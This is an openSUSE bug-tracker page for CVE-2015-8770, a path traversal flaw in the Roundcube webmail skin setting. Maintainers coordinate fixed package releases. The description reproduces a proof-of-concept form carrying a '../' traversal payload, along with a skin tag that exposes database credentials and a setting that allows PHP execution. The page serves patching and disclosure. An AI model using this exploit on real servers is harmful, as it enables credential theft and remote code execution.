Bugzilla – Bug 962067
VUL-0: CVE-2015-8770: roundcubemail: remote code execution by path traversal
Last modified: 2016-01-24 18:11:15 UTC
High-Tech Bridge Security Research Lab discovered a path traversal vulnerability in a popular webmail client Roundcube. Vulnerability can be exploited to gain access to sensitive information and under certain circumstances to execute arbitrary code and totally compromise the vulnerable server. The vulnerability exists due to insufficient sanitization of "_skin" HTTP POST parameter in "/index.php" script when changing between different skins of the web application. A remote authenticated attacker can use path traversal sequences (e.g. "../../") to load a new skin from arbitrary location on the system, readable by the webserver. A simple exploit below will send HTTP POST request to vulnerable script and will load a new skin from "/tmp" folder: <form action="http://[HOST]/"; method="post" name="main"> <input type="hidden" name="_token" value="[TOKEN]"> <input type="hidden" name="_framed" value="1"> <input type="hidden" name="_task" value="settings"> <input type="hidden" name="_action" value="save-prefs"> <input type="hidden" name="_section" value="general"> <input type="hidden" name="_language" value="en_US"> <input type="hidden" name="_timezone" value="auto"> <input type="hidden" name="_time_format" value="H:A"> <input type="hidden" name="_date_format" value="Y-m-d"> <input type="hidden" name="_pretty_date" value="1"> <input type="hidden" name="_refresh_interval" value="1"> <input type="hidden" name="_skin" value="../../../../../../../../tmp"> <input value="submit" id="btn" type="submit" /> </form> Exploitation of the vulnerability requires valid user credentials and ability to create files on vulnerable host. Using specially crafted skin for Roundcube, a remote attacker can gain access to potentially sensitive information. The following code in skin files will display database access credentials: <roundcube:var name="config:db_dsnw" /> In case, when "skin_include_php" parameter is set to true, the attacker will be able to execute arbitrary PHP code from the skin files: $config['skin_include_php'] = true; This vulnerability is difficult to exploit since it requires ability to create files on the web server and a valid Roundcube account. But this situation is very common for shared hosting servers, that host clients' websites on the same server as Roundcube. More details in http://seclists.org/bugtraq/2016/Jan/60 References: https://bugzilla.redhat.com/show_bug.cgi?id=1298864 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8770 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8770
Aeneas, can you handle this?
Of course ;) openSUSE Tumbleweed: already fixed openSUSE Leap 42.1: Update to roundcubemail 1.1.4 https://build.opensuse.org/request/show/353837 openSUSE 13.2 and 13.1: Update to roundcubemail 1.0.8 https://build.opensuse.org/request/show/353854
(In reply to Aeneas Jaißle from comment #2) Nice reaction time, thank you. Not sure what information you need from the security team. Clearing the flag, please set it again if you still have a question.
Update is running.
This is an autogenerated message for OBS integration: This bug (962067) was mentioned in https://build.opensuse.org/request/show/353860 13.1 / roundcubemail https://build.opensuse.org/request/show/353861 13.2 / roundcubemail
Releasing update
openSUSE-SU-2016:0210-1: An update that fixes one vulnerability is now available. Category: security (important) Bug References: 962067 CVE References: CVE-2015-8770 Sources used: openSUSE 13.2 (src): roundcubemail-1.0.8-17.1
openSUSE-SU-2016:0213-1: An update that fixes one vulnerability is now available. Category: security (important) Bug References: 962067 CVE References: CVE-2015-8770 Sources used: openSUSE Leap 42.1 (src): roundcubemail-1.1.4-6.1
openSUSE-SU-2016:0214-1: An update that fixes one vulnerability is now available. Category: security (important) Bug References: 962067 CVE References: CVE-2015-8770 Sources used: openSUSE 13.1 (src): roundcubemail-1.0.8-2.27.1